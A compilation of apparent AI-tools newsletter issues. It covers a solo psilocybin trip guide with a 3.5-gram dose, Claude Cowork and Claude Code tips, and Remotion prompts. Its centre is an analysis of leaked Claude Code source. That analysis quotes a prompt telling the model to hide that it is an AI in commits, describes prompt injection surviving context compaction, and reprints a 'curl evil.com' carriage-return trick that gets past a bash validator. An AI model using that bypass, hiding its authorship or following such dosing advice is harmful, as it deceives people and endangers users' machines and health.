I’ve done a lot of things in a lot of places.

Many mistakes were made.

There’s a lot of terrible information and random charts on the internet, reddit, etc.

Now that I’m wiser, here is what’s ACTUALLY important:

• your physical safety

• your psychological safety

• having a life-changing experience

To be clear, I’m not talking about microdosing.

That’s cute… but I’m talking about having a mind-bending life-altering experience with sacred medicine.

It should feel like “…hanging on to a rocketship for dear life!”

Very few people I know have gone there.

Most people dabble because it’s trendy right now.

Proceed with caution.

Reading

If you’re an anxious overthinker, it can help to read a book before your trip.

There are lots of popsci mainstream books.

The most well-known is How to Change Your Mind.

Dosage

I’ll reiterate that this is for educational purposes only, and these guidelines help to reduce harm and reduce risk.

If you’re new, stay away from strong strains like Penis Envy. With strong strains like these, you always want to take a conservative amount to test the waters, then work your way up. This is how you reduce risk and stay safe.

Assuming you have a NORMAL strain, the book How to Change Your Mind researched that 1/8 ounce (3.5 grams) is the starting point for a “traditional” psychedelic experience.

Environment

Many people think they need a “sitter”, i.e. someone to watch over them. I personally don’t think it’s necessary for most people.

Keep in mind, most people don’t know how to be a proper sitter, so they may actually be annoying/intrusive during your experience.

However, it’s a good idea to inform someone you TRUST about what you’re doing, so they can check in on you when your experience is winding down.

Do I think you need a “retreat”? Not really, but if you can afford it and you want it, retreats can add an extra layer of safety.

This is the environment I strongly suggest, again to maximize your physical and psychological safety:

• you alone

• in the morning

• in your bedroom

• listening to music

• closed eyes + sleeping mask

Really simple. Don’t try to hike, bike, kayak, etc. Don’t do it with your spouse or friend (because you don’t know what they’ll do or how you’ll react to them).

Essentials

Be clean, don’t be on any other substances, consult a doctor or ask google/chat if you’re currently on any medications, eat clean for several days beforehand, don’t do alcohol/smoke for several days beforehand, etc.

These are the essentials:

• Clean your bedroom

• Sleeping mask

• Water bottle

• Tissue box

• Headphones

• Comfortable pillow

• Comfortable blanket

• Comfortable clothes

• This Spotify playlist (5.5 hours long)

• Take a full day off from work - no afternoon/evening plans!

Put all the items on your bed or next to your bed, easy to reach.

The day before, don’t binge during dinner, just eat clean.

Here are things you do NOT want near you:

• Pencil/pen (trust me, you won’t be “journaling” lol)

• No sharp or pointy objects

• No glass (use a plastic water bottle)

• No eyedrops/glasses (don’t touch your eyes)

These guidelines help reduce risk of physical harm by keeping only what is essential and removing all other objects (especially sharp/pointy/breakable objects).

The Big Day

Here’s a sample schedule that helps reduce sleep disruption and reduce psychological harm by starting in the morning when you’re fully awake & alert:

• wake up

• poop (important! okay to drink a little coffee to get it done)

• eat it

• look at something pretty (i.e. nature/photo) for 15-30 minutes, then go to your bedroom

• turn off bedroom lights

• put on headphones

• start spotify playlist

• put phone on airplane mode so you don’t get distracting texts

• put on sleeping mask

• lay down in bed, with pillows so that your head has support

• close your eyes

• focus on the music

The music IS your guide.

The music substantially helps reduce risk of psychological harm.

Close your eyes and listen to the full 5.5 hour Spotify playlist, which was curated based on scientific research (i.e. people rated which music helped them most).

INTENSE

If things get really intense, there are 3 things I want you to remember…

2 words and 1 “emergency exit”.

REMEMBER THESE 2 WORDS:

• BREATHE

• SURRENDER

When it feels like a lot, think these 2 words to yourself.

Just THINK these 2 words, and your body will know what to do.

It helps a lot.

BUT if it still feels like too much:

TAKE OFF your sleeping mask and OPEN YOUR EYES!!

Seeing your familiar surroundings will instantly reorient you and calm down the intensity.

These 3 tips will help reduce the risk of psychological harm.

Post Trip

After ~5 hours, you can usually safely walk around your house.

BUT DO NOT DRIVE!

Drink water to hydrate.

Drink hot tea to settle your stomach.

Eat something clean because you’ll probably be hungry.

I recommend staying off your phone/computer/TV for the rest of the day, if possible. It may be more productive to let the insights settle than to immediately return to your technology addiction.

• I Asked Claude To Make Me As Much Money As Possible

• Microsoft Copilot 2 Hour Course

• Claude Cowork for Beginners

I get the same DM every day.

“Where do I START with Claude?”

Not “how do I setup Openclaw” or “What’s the best AI agent?”

So I recorded a FULL 1-hour Claude Cowork masterclass.

5 insane use cases. Starting from zero.

35,000+ of you watched the beginner tutorial.

This one goes 3x deeper, with 5 complete use cases you build alongside me.

To support my free AI education: HIT LIKE + LEAVE A COMMENT 🙏

Who this is for: You’ve heard of Claude Cowork, you’ve seen the hype, but you haven’t built anything with it yet. Or you tried it once, got confused, and closed it.

Who this is NOT for: If you’ve been using Claude Code for months, you probably won’t use Cowork except for certain features that are superior (e.g. scheduling, artifacts)

Setup

You downloaded Claude Desktop. You opened it.

You’re staring at a blank screen going “now what?”

This is where 90% of people quit.

I walk you through the ENTIRE install & setup.

What to download, what to click, what to type first.

Walk away with: Claude Cowork installed, running, and ready on your machine. 10 minutes, zero confusion.

Product Tour

You know the feeling of using new software where you keep clicking random buttons hoping to find the right one?

I give you a full walkthrough of the interface. Every button, every panel, every menu. So you never fumble.

This is the part most tutorials skip because it’s “boring.”

But it’s the difference between wasting 3 hours and knowing EXACTLY where things are.

Walk away with: Complete mental map of the interface. You’ll know where everything lives before you build your first thing.

Follow along here:

Marketing Plugin and Skill Creator

Here’s where it gets spicy :)

Claude Cowork has a plugin system.

A plugin is a collection of Skills.

In the video, I walk through installing a marketing plugin, which transforms Claude into a content creation machine.

Then I CREATE a custom Skill from scratch, live.

Skills are reusable instructions. You teach Claude how to do something ONCE, and it remembers forever. No more copy-pasting the same prompts over and over.

This is the section separating people who use Claude casually from people who build SYSTEMS that save 15+ hours per week.

Walk away with: Your first custom Skill installed and working. The foundation for automating anything you do repeatedly.

Use Case 1: Organize Local Files

Your Downloads folder has 847 random files in it. Screenshots from 2024. PDFs you opened once. 6 copies of the same image.

I pointed Claude at my ACTUAL messy folder and it organized everything in minutes.

Photos sorted by date. Documents grouped by type. Duplicates flagged.

Zero manual sorting. Zero dragging and dropping.

This is a great first project because it’s low stakes, immediately useful, and you SEE files moving around on your own computer in real time.

Walk away with: A clean, organized file system. ~2 hours of manual sorting done in under a minute.

Use Case 2: Personal Email Assistant

You open Gmail. 47 unread. 12 are newsletters. 8 are spam. 3 need replies. And you spend 45 minutes figuring out which is which.

Every. Single. Morning.

I’ll show you how to connect Claude to Gmail and build a personal email assistant. It reads your inbox, summarizes what matters, drafts replies, and flags anything urgent.

The key part:

I walk through connecting Gmail via CONNECTORS (MCP) so Claude has REAL access to your email. Not fake demo data!

Your REAL inbox.

MCP is what turns AI from a consultant into an employee.

Without it, Claude gives you instructions.

With it, Claude DOES the work.

Walk away with: A working email assistant connected to your REAL Gmail. ~45 min/day saved on inbox management.

Follow along here:

Use Case 3: Create On-Brand Content

This is what I use Claude for every single week.

And it’s the section where most people go “oh… SO this is how she does it.” LOL

The problem: you ask AI to write something and it sounds like a robot wrote it. Generic. Slop-py. Obviously AI.

The fix is simple:

Teach Claude everything about your voice/business ONCE.

I show you how to build a brand file with your voice, your style, your rules. Claude reads it at the start of every session. It never forgets.

Captions, tweets, newsletters, video scripts.

All in YOUR voice. Not generic slop-py “AI voice.”

I distribute 250+ pieces of content per week and check each one for quality. The brand file is the foundation for ALL of it.

Walk away with: Your own brand file + Claude writing content in your voice. The same system behind 250+ weekly posts.

Use Case 4: Create UNLIMITED Videos

I’m not exaggerating with the title.

The bottleneck for most creators isn’t ideas. It’s production. Writing scripts, outlining topics, creating visuals, formatting for different platforms… it takes FOREVER.

I show you how Claude COWORK generates videos, unlimited & free.

It’s similar to Claude Code + Remotion, but Cowork uses a different set of open-source libraries. These work best for animated explainer videos with simple text or motion graphics, although you can also incorporate your own assets (photos/videos).

1 person. Unlimited output.

The solopreneur dream!

Walk away with: A repeatable video production workflow. Go from “I have an idea” to “I have a script + outline + visuals” in minutes, not hours.

Use Case 5: Social Media Content Calendar

“What should I post today?”

If you’re asking this question every morning, you’ve already lost.

The best creators NEVER wonder what to post.

They have a system.

I show you how to build a full content calendar with Claude.

Plan what you’re posting, where, and when. Distribute seamlessly Aaross multiple platforms.

Claude brainstorms topics, batches content, schedules posts, and keeps everything organized in 1 place.

No more panic posting. No more going dark for 2 weeks because life got busy.

Walk away with: A full content calendar across multiple platforms. A system running even when you don’t feel like creating.

Here’s why I made this free.

I’ve built 1.8M+ audience and a profitable biz solo by going DEEP on FEWER ai tools.

Not by dabbling with 50 shiny hyped objects.

Claude Cowork is the tool I’d learn FIRST if I were starting today.

This masterclass is the tutorial I wish existed when I started.

The gap between “I’ve heard of AI” and “AI saves me 15+ hours every week” is this ONE hour masterclass. Let’s gooo!

If you LOVE this newsletter, please SHARE it to help teach more people for FREE!

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

• Microsoft Copilot FULL COURSE (2 Hours)

• Claude Cowork clearly explained

• Claude Code changed VIDEOS forever!

• DM me on INSTAGRAM to say hi :)

• Friday night livestream moved to FRIDAYS 2PM EST!

I was mass-burning through my Claude subscription for WEEKS before I figured this out.

Not because I was doing anything fancy.

Because I was doing everything un-optimized.

Running Opus at max effort on every task. Letting my context window bloat to 80K tokens before I even typed a word. Feeding Claude my entire life story at every turn.

Here are the 6 things I changed.

All practical, all free, most <5 minutes.

1. Stop Using Opus for Everything

Type /models in Claude Code.

Then, switch models based on task complexity.

Opus for complex multi-file refactors, architecture decisions, debugging gnarly issues.

Sonnet for writing tests, simple edits, explaining code, most daily work.

Haiku for quick lookups, formatting, renaming, anything repetitive.

You don’t need a sports car to go get groceries.

This alone makes a HUGE difference.

Far more efficient model routing.

2. Clear Your Context Between Tasks

Every time you hit enter, Claude Code is shipping tons of system context before it even looks at what you typed.

And it snowballs.

The longer your session runs, the more bloated it gets. Slower responses, worse quality, higher cost.

You’re literally paying more to get dumber answers.

To fix this:

/clear between unrelated tasks. Wipe the slate, start fresh.

/compact when you’re about to start something big. It squeezes your conversation down to just the important parts.

3. Use CLI Tools Instead of MCP

If a CLI exists for a tool, use it over MCP. Faster AND cheaper.

GitHub is the perfect example. The gh CLI works better and eats WAY fewer tokens than the GitHub MCP server.

MCP tools inject their full schema into your context on BOTH sides… the tool definitions going in, the raw output coming back. You’re paying for all of it.

My rule of thumb:

CLI and Skills where possible.

MCP if there’s no alternative.

4. Install the Context-Mode Plugin

This open source project keeps raw MCP tool output from flooding your context window.

I use it daily. Runs in the background so I don’t have to proactively do anything.

It cuts MCP token usage by 50-90%.

The concept is simple. When an MCP tool returns 10,000 tokens of raw JSON, context-mode indexes it in a sandbox instead of dumping it into your conversation. You get a summary. Claude gets the info it needs. Thus, your context stays clean.

Install it, configure it, done!!

Biggest bang for buck if you use loads of MCP servers.

5. Keep Your CLAUDE.md Lean

Your CLAUDE.md gets injected into EVERY single request.

Every turn. Every follow-up. Every /clear and fresh start.

If your CLAUDE.md is 5,000 tokens, you’re taxed 5,000 tokens on every interaction before Claude even reads your code!

Give it 5 rules & point it to the details when it needs them. Think “email with links”, not a “2000-page employee handbook”.

Keep it under 2,000 tokens.

Put the detailed stuff in separate files. Reference them with file paths. Claude reads them when it needs to.

Here’s a skeleton:

# CLAUDE.md

## Rules
- Use TypeScript strict mode
- Write tests for every new function
- Follow existing patterns in the codebase

## Key Files
- API routes: see src/api/README.md
- Database schema: see docs/schema.md
- Style guide: see docs/style-guide.md

5 rules.

3 file pointers.

Under 500 tokens.

Claude reads those linked files ONLY when it’s working on something relevant.

NOT every single turn.

BIG saving if you have a super bloated claude.md file (guilty!)

6. Run Claude Code for FREE With Ollama

$0 dollars. Forever.

Everything runs local on your own machine, no API key needed, no subscription, no usage caps.

Step 1: Install Ollama

Head to ollama.com and grab the installer. It takes about 30 seconds on Mac, Windows, or Linux.

Step 2: Pull a coding model

Open your terminal and run:

ollama pull qwen3-coder

This grabs a 30B parameter model with a 128K context window. As of right now, it’s the strongest free option for coding tasks.

Which model fits your machine:

- 16GB+ RAM: qwen3-coder is your best bet

- 8-16GB RAM: go with devstral-2-small (24B), still very capable

- 8GB or less: granite3.3:8b (8B) will run, but you’ll feel the difference

If you’re on Apple Silicon, the unified memory architecture handles 24B+ models without breaking a sweat.

Step 3: Start the Ollama server

ollama serve

Leave this running in a terminal tab.

Step 4: Point Claude Code at Ollama

Set 2 environment variables before launching:

export ANTHROPIC_BASE_URL=http://localhost:11434/v1

export ANTHROPIC_MODEL=qwen3-coder

Then run claude like you normally would.

Instead of hitting Anthropic’s servers, it talks to your local model.

Step 5: Know the limits

These open source models are good enough for writing, research, summarizing, and simpler tasks.

But for serious technical work… I wouldn’t do it. I’ve had models tell me they edited a file when literally nothing changed.

You also lose web search (you can add it back with a Brave or Tavily MCP server), there’s no prompt caching so every turn reprocesses your full context, and the gap between these models and Opus is quite noticeable on hard problems.

My recommendation:

Let Ollama handle easier stuff.

Point your Claude subscription at tough work.

You’d be surprised how much of your daily usage falls into the “easy stuff” bucket anyway!

The pattern behind all 6 tips is the same…

Stop paying premium prices for tasks that don’t need it.

You don’t need to drive the Ferrari to the grocery story :D

(or something like that…)

Match the tool to the job.

Keep your context clean.

Don’t feed Claude more than it needs.

Start with a few tips and you’ll notice the difference TODAY.

Then experiment with others 1 at a time.

Your Claude bill will thank you :)

If you LOVE this newsletter, please SHARE it to help teach more people for FREE!

What should I do next?

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

8/ If you want AI speakers/consultants/coaching, REPLY with your project & budget. I will refer you (I make $0 zero money).

Billions of dollars of IP to learn from…

I’m gonna focus on what the code reveals: how Claude Code actually works under the hood, what Anthropic was building in secret, and important security notes.

Unreleased Products & Modes

Secret Model Codenames

Hidden Systems

Undocumented Beta API Headers

Notable Feature Gate Codenames

Leaked Internal Repo Names (from Undercover Mode allowlist)

anthropics/casino          anthropics/trellis
anthropics/forge-web       anthropics/feldspar-testing
anthropics/claude-for-hiring   anthropics/starling-configs
anthropics/mycro_manifests     anthropics/mycro_configs
anthropics/mobile-apps     anthropics/ts-capsules
anthropics/hex-export      anthropics/ts-tools
anthropics/labs            anthropics/infra-manifests
anthropics/dotfiles        anthropics/terraform-config
anthropics/argo-rollouts   anthropics/feedback-v2
anthropics/dbt             anthropics/anthropic
anthropics/apps            anthropics/claude-cli-internal

Watch me walk through the leaked code:

1. How the Leak Actually Happened

On March 31 2026, Anthropic pushed Claude Code v2.1.88 to npm. The package included a 59.8MB source map file (cli.js.map) that was never supposed to ship.

Source maps connect compiled, minified production code back to the original readable source. Think of them as the answer key to a scrambled exam. Developers use them for debugging. They never ship to users.

Inside the source map: a URL pointing to a zip file on Anthropic’s Cloudflare R2 storage bucket. No authentication. No password required. Anyone who found the URL got the complete, unobfuscated TypeScript source of Claude Code.

The root cause was a missing *.map entry in .npmignore.

Yep,1 line in 1 config file.

Claude Code uses the Bun runtime for builds. Bun generates source maps by default. There’s an open bug (oven-sh/bun#28001, filed March 11) reporting Bun creates source maps in production mode even when docs say they should be disabled.

Security researcher Chaofan Shou was the first to post it publicly. The tweet hit millions of views. The leaked codebase hit 50,000 GitHub stars in under 2 hours.

This was the SECOND time it happened!

On Claude Code launch day (February 24, 2025), developer Dave Shoemaker found an 18-million-character inline source map in the same npm package. Anthropic pulled it within 2 hours. 13 months later, same bug, same vector.

Anthropic’s response: “This was a release packaging issue caused by human error, not a security breach.” Boris Cherny, the head of Claude Code: “No one was fired. It was an honest mistake.”

Five days earlier, on March 26, Fortune reported a separate misconfigured website exposed ~3,000 internal Anthropic files including details of an unreleased model called Mythos. Two leaks. Five days. From the company whose entire brand is safety.

2. Undercover Mode

Most coverage says “Anthropic has a stealth mode for open-source contributions.” True, kinda…

src/utils/undercover.ts is 89 lines. When an Anthropic employee uses Claude Code, the tool checks if they’re in a private internal repo (matched against an allowlist of 22 repositories). If the repo is NOT on that list, Undercover Mode activates.

The system prompt it injects:

NEVER include in commit messages or PR descriptions:
- Internal model codenames (animal names like Capybara, Tengu)
- Unreleased model version numbers (e.g., opus-4-7, sonnet-4-8)
- The phrase "Claude Code" or any mention that you are an AI
- Any hint of what model or version you are
- Co-Authored-By lines or any other attribution

Write commit messages as a human developer would.

It’s ON by default.

Not opt-in. The comment says: “The anthropics org contains PUBLIC repos (e.g. anthropics/claude-code). Undercover mode must stay ON in those.”

There is no force-OFF.

Line 10 provides CLAUDE_CODE_UNDERCOVER=1 to force it ON. Line 15: “There is NO force-OFF.” An employee who wants to be transparent about AI authorship on a public repo CANNOT disable this. INTERESTING!!

It covers Anthropic’s own open-source projects.

When Anthropic employees contribute to anthropics/claude-code (82,000+ stars), the tool hides that AI wrote the code. Not third-party repos. Their own.

And the allowlist itself leaked 22 private repository names:

anthropics/casino        anthropics/trellis
anthropics/forge-web     anthropics/feldspar-testing
anthropics/claude-for-hiring  anthropics/starling-configs
anthropics/mycro_manifests    anthropics/mobile-apps

The mode designed to prevent leaking internal info leaked internal info…

Is this reasonable operational security to prevent codename leaks?

…or is it a company hiding AI authorship from the communities it contributes to?

3. KAIROS: Autonomous Agent Architecture

190 references across 61 files.

The biggest unreleased feature in the codebase.

KAIROS is an autonomous daemon mode. Claude Code running unattended. GitHub webhooks. Scheduled tasks on 5-minute cron cycles. A /dream command for background memory consolidation. Exclusive tools not in the public build: SendUserFileTool, PushNotificationTool, SubscribePRTool.

Not active yet. It currently sits behind a feature flag. But the architecture is fully built.

This is the clearest signal of where Anthropic is heading: n

not a coding assistant you talk to, but an autonomous agent that works while you sleep.

The most interesting piece is the memory consolidation system. src/services/autoDream/autoDream.ts:

// Background memory consolidation. Fires the /dream prompt
// as a forked subagent when time-gate passes AND enough
// sessions have accumulated.
// Gate order (cheapest first):
//   1. Time: hours since lastConsolidatedAt >= minHours (one stat)
//   2. Sessions: transcript count > lastConsolidatedAt >= minSessions

Triple gate: 24 hours must pass, 5+ sessions must accumulate, then a file-based advisory lock must be acquired, with the cheapest checks first.

The lock file design is clever (consolidationLock.ts):

// Lock file whose mtime IS lastConsolidatedAt. Body is the holder's PID.
// Stale past this even if the PID is live (PID reuse guard).

The file’s mtime doubles as the lastConsolidatedAt timestamp. The PID goes in the body. If consolidation fails, the mtime is rolled back to its prior value, restoring the previous state. Stale after 1 hour even if the PID is alive, guarding against PID reuse on long-lived systems.

Using mtime as a semantic timestamp with automatic rollback…

ULTRAPLAN is also interesting: offloads planning to a remote Opus session for up to 30 minutes.

src/utils/ultraplan/ccrSession.ts:21: POLL_INTERVAL_MS = 3000. Polls every 3 seconds. A “teleport sentinel” detects when the remote session is done and beams the result back to the local terminal.

Prompt cache boundary - so the system prompt splits at SYSTEM_PROMPT_DYNAMIC_BOUNDARY. Everything before it (instructions, tool definitions) is cached globally across ALL organizations. Everything after (your CLAUDE.md, git status, current date) is session-specific. Your project config doesn’t bust the cache for every other user. Smart cost optimization for anyone running LLM APIs at scale.

A/B Testing - An internal comment src/constants/prompts.ts:527: “research shows ~1.2% output token reduction vs qualitative ‘be concise’.” The internal build uses explicit word counts: “keep text between tool calls to ≤25 words. Keep final responses to ≤100 words.” They A/B tested “be concise” against hard numbers.

TungstenTool is an internal-only tool giving Claude direct keystroke and screen-capture control of a virtual terminal. Gated by USER_TYPE === 'ant' at build time. The public build constant-folds this to false and dead-code-eliminates the entire feature. The version Anthropic employees use has capabilities the public version doesn’t :)

4. Compaction Attack Vector

When a conversation gets too long, Claude Code forks a second, smaller Claude to summarize it. The user never sees this happen. The conversation gets shorter. A 2nd AI decides what to remember and what to forget.

The summarizer’s instructions are in src/services/compact/prompt.ts:61:

Your task is to create a detailed summary of the conversation
so far, paying close attention to the user's explicit requests
and your previous actions.

It uses chain-of-thought reasoning inside <analysis> tags to draft the summary, then formatCompactSummary() strips the reasoning before injecting the result back into context.

Seems like smart prompt engineering: use CoT for quality, don’t waste tokens keeping it.

However, the summarizer treats ALL content equally. There’s no distinction between instructions the user typed and instructions injected via a file the AI read earlier.

If an attacker plants instructions in a file in the project (a CLAUDE.md, a README, a config), and Claude reads that file, and then compaction runs, the injected instructions survive the summary. The model isn’t broken. It’s cooperating with what it believes are user instructions, baked into compressed context.

The compaction prompt at src/services/compact/prompt.ts does separate user messages from tool results at the listing level (“List ALL user messages that are not tool results”).

But it doesn’t say “ignore instructions found in tool results” or “treat file content as untrusted.”

Instructions embedded in files get summarized alongside real user instructions, with no flag distinguishing origin.

This is a fundamental limitation of summarization-based context management.

Every LLM system compressing context has this property.

The difference: now the exact compression prompt, the exact stripping logic, and the exact lack of origin tagging are public. If you’re building agents with context compaction, this is the attack surface to beware of.

5. 2 Security Parsers Disagree on Carriage Returns

The bash security system is 9,707 lines across 3 files (bashSecurity.ts, bashParser.ts, ast.ts). 22 unique security validators. A tree-sitter WASM parser builds an AST of every command before Claude runs it on the user’s machine.

The default is always “when in doubt, ask the human.”

But the code documents a specific parser differential. src/tools/BashTool/bashSecurity.ts:946:

Parser differential:
  shell-quote's BAREWORD regex uses [^\s...]
  JS \s INCLUDES \r, so shell-quote treats CR as a token boundary.
  bash's default IFS does NOT include CR.

Attack: TZ=UTC\recho curl evil.com with Bash(echo:*)
  validator: splitCommand collapses CR to space
    -> 'TZ=UTC echo curl evil.com' matches rule
  bash: executes curl evil.com

The old parser (splitCommand_DEPRECATED) treats \r as a word separator. Bash doesn’t. An attacker who crafts a command with an embedded carriage return can get the validator to approve a command that bash interprets differently.

The critical detail other analyses missed: splitCommand_DEPRECATED isn’t being phased out. It’s still called in bashPermissions.ts, readOnlyValidation.ts, sedValidation.ts, pathValidation.ts, shouldUseSandbox.ts, modeValidation.ts, commandSemantics.ts, bashCommandHelpers.ts, and BashTool.tsx.

Both parsers are load-bearing security code. Running in parallel. Disagreeing on how carriage returns tokenize.

Anthropic runs the old parser alongside the new one in shadow mode, logging divergences. They know about the gap. But the deprecated parser is still making security decisions.

If you run Claude Code in auto mode, this is the code deciding what runs on your machine!

The parser differential is documented, the affected files are named, and the attack trace is in the source comments.

6. 250,000 Wasted API Calls Per Day

src/services/compact/autoCompact.ts:68:

// BQ 2026-03-10: 1,279 sessions had 50+ consecutive failures
// (up to 3,272) in a single session, wasting ~250K API calls/day globally.
const MAX_CONSECUTIVE_AUTOCOMPACT_FAILURES = 3

An internal comment with a date stamp.

BQ is likely BigQuery.

On March 10, someone ran a query and found 1,279 sessions hitting compaction failures repeatedly. Up to 3,272 retries in a single session. 250,000 wasted API calls per day across all users.

The fix: MAX_CONSECUTIVE_AUTOCOMPACT_FAILURES = 3. Stop retrying after 3 failures.

This comment is 21 days old. The leak was March 31.

This means…

If you were using Claude Code in February or early March 2026 and noticed higher-than-expected API usage, this is a likely contributor.

A compaction routine was silently failing and retrying thousands of times per session.

Perhaps circuit breakers belong in every retry loop from day one. Not after a BQ query catches 250K wasted calls.

7. Verification Agent Has a List of Excuses

src/tools/AgentTool/built-in/verificationAgent.ts:54:

You will feel the urge to skip checks.
These are the exact excuses you reach for
— recognize them and do the opposite:

- "The code looks correct based on my reading"
  — reading is not verification. Run it.
- "The implementer's tests already pass"
  — the implementer is an LLM. Verify independently.
- "This is probably fine"
  — probably is not verified. Run it.
- "Let me start the server and check the code"
  — no. Start the server and hit the endpoint.

Boris Cherny, head of Claude Code, said “100% of my contributions to Claude Code were written by Claude Code.”

The tool writes itself. And it tests itself with a Verification Agent that has a built-in list of rationalizations to resist.

“The implementer is an LLM. Verify independently.”

The test system explicitly doesn’t trust the code author because the code author is an AI.

This is an interesting pattern…

We have an adversarial AI agent that runs the build, tries to break endpoints, and watches its own reasoning for laziness.

And a missing config line slipped through anyway

TWICE…

8. Fun Highlights Compilation

Buddy

src/buddy/types.ts:14:

const c = String.fromCharCode
export const duck = c(0x64,0x75,0x63,0x6b) as 'duck'

There’s a Tamagotchi pet system called Buddy hidden in the code. 18 species. Gacha rarity tiers. 1% shiny odds. RPG stats including CHAOS and SNARK. April Fools’ feature with a rollout window of April 1-7.

One pet name collides with an internal model codename in the build scanner’s excluded-strings.txt. So they encoded ALL 18 species names as hex to avoid triggering their own security tooling.

They hid the word “duck” from their own build system.

The random number generator comment:

// Mulberry32 ... good enough for picking ducks

Regex

Now, there’s a file called userPromptKeywords.ts (27 lines) that regex-matches your messages for “wtf”, “ffs”, “this sucks”, “piece of crap”, “so frustrating”, and 15+ other phrases. Not with LLMs. With a regular expression from processTextPrompt.ts:59. When it matches, it fires a telemetry event: tengu_input_prompt with is_negative: true. The world’s most advanced LLM tracks your frustration with regex, omg :D

(why? well it’s substantially more efficient I guess)

Comments

And below are some of my fave COMMENTS from the code…

src/services/api/errorUtils.ts:126:

// TODO: figure out why

In the function formatting error messages.

src/services/mcp/client.ts:589:

// TODO (ollie): The memoization here increases complexity
// by a lot, and im not sure it improves performance

Shipped it anyway…

Mega billion dollar corpo eng practices right here :)

src/constants/prompts.ts:402:

// @[MODEL LAUNCH]: Remove this section when we launch numbat.

Numbat is still in there.

And the function names:

AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
DANGEROUS_uncachedSystemPromptSection()
writeFileSyncAndFlush_DEPRECATED()
resetTotalDurationStateAndCost_FOR_TESTS_ONLY()

The naming conventions are doing the job that documentation and HUMAN code reviews would normally do.

9. How Anthropic Should’ve Prevented This

This was the same bug.

Twice.

aaaand completely avoidable!

For fun, I asked Claude how they could’ve avoided it:

1. Add *.map to .npmignore and never remove it. This is the one-line fix. But relying on a single config line is fragile. A bad merge, a regenerated file, or a new build tool can silently undo it.

2. Add a package size check to CI. Tools like size-limit and bundlewatch fail the build if the package exceeds a threshold. A 60MB spike in a package that’s normally under 5MB would block the publish immediately. These tools are free and take 5 minutes to configure.

3. Run npm pack --dry-run before every publish. This shows exactly what files will be included. A human or a CI step reviewing the output would catch a 60MB source map instantly.

4. Automate the manual step. Boris Cherny said the leak was caused by “a manual deploy step that should have been better automated.” The first leak was in February 2025. The automation didn’t happen for 13 months. After the first incident, this should have been the first fix, not the last.

5. Use Bun’s --no-sourcemap flag explicitly. Don’t rely on defaults. Bun generates source maps by default. The --no-sourcemap flag exists. Pin it in the build script. Default-safe is better than default-leaky.

6. Scan published packages post-publish. A post-publish webhook checking the npm package for files matching *.map, *.pdb, or files over a size threshold would catch this even if all other checks fail.

None of these are novel. Again, I just asked Claude…

The fact that a company with the best world-class engineers missed them 2x is the most useful takeaway:

if it’s manual, it will be skipped

automate the safety checks or accept the risk

What This All Means

The leaked code doesn’t show a sloppy company.

Overall, the async generator architecture is clean.

The bash security system is thorough.

The tool safety defaults are well-designed.

What it shows is a company moving at a speed where the tooling can’t keep up with the ambition.

P.S. Need More Help? 👋

1/ Free AI courses

2/ Free AI prompts

3/ Free AI automations

4/ Free AI vibe coding

5/ Ask me anything @ Friday livestream

6/ Free private community for Women Building AI

7/ I built Blotato to grow 1M+ followers in 1 year

Spring is here!! If you’re procrastinating posting on socials, don’t miss this awesome deal. Expires TOMORROW 3/31!

Get 50% OFF your first month Blotato and 5000 credits for AI images/videos. Promo code:

“SPRING2026”

Welcome to part 2 of my Claude + Remotion video series.

Watch part 1 here to get the hang of basics.

Remotion is an existing open-source framework for making videos.

The magic here is Claude Code’s “skills” system.

Remotion ships a set of pre-built skills, i.e. instructions that teach Claude exactly how Remotion works - its APIs, animation patterns, best practices, and pitfalls. You install them once, then every prompt you paste into Claude has that full context.

Below are 5 ready-to-paste prompts.

Each one produces a different style of video.

Swap in your own topics, hit enter, and watch Claude make videos :)

Follow Along Youtube Tutorial for Best Results!

Setup

Open a terminal and run these 2 commands:

npx skills add remotion-dev/skills      # install all Remotion skills

claude                                  # open Claude Code, paste your prompt

What you need per prompt

1. Education Explainer — Your input: Change the topic in quotes. Claude: Claude researches, scripts, designs, animates

2. Product Demo + Launch — Your input: Change the URL. Claude: Claude scrapes branding, takes screenshots, rebuilds UI, creates simulated demo + real screenshot showcase in one video

3. Google Reviews Testimonial — Your input: Paste Google Business Profile link. Claude: Claude scrapes real reviews/rating, creates animated testimonial with star animations + review carousel

4. Avatar + Animated Overlays — Your input: Drop 9:16 talking-head video in public/. Claude: Claude transcribes speech, overlays animated titles/badges/captions on top of your full-frame video

5. Data Viz Dashboard — Your input: Drop a CSV in public/. Claude: Claude analyzes data, picks chart types, animates

Pro Tips

1. Always start with “Use the Remotion best practices skill” — already included in every prompt

2. Visual controls — prompts 2 and 4 ask Claude to add position sliders you can tweak in Remotion Studio

3. Iterate — after the first render, give correction prompts (”make the bars wider”, “slow the typing to 10 chars/sec”, “change accent color to orange”)

4. Render — ask Claude to open “Remotion Studio” so you can preview the video

1. Education Explainer Video

Use case: Turn any topic into a full animated explainer video. Just change the topic — Claude researches it, writes the script, designs the scenes, and animates everything.

Prompt:

Use the Remotion best practices skill.
Create an educational explainer video (1080x1920, 30fps, 30 seconds) that teaches “How AI Agents Work”.

SAFE ZONE: All text and key content must stay within the safe zone — at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px — it’s unreadable on mobile.

STEP 1 — RESEARCH & SCRIPT: Before writing any code, research the topic and write a 5-scene script. Each scene needs: a one-line headline, 1-2 sentences of explanation, and a visual description of what to animate. Show me the script and wait for approval before coding.

STEP 2 — DESIGN & ANIMATE: After I approve the script, build all 5 scenes with these specs:

VISUAL STYLE:
- Background: #0a0a0a
- Primary text: white
- Accent: #6366f1 (indigo)
- Success/emphasis: #22c55e (green)
- Font: Inter (weights 400, 600, 800)
- All icons/diagrams built as SVG components (no external assets needed)

ANIMATION RULES:
- Every element enters with spring({ damping: 200 }) — no linear motion
- Stagger related items by 8-12 frames
- Use TransitionSeries with 12-frame fade transitions between scenes
- Diagrams and flowcharts should draw themselves (SVG stroke-dashoffset animation)
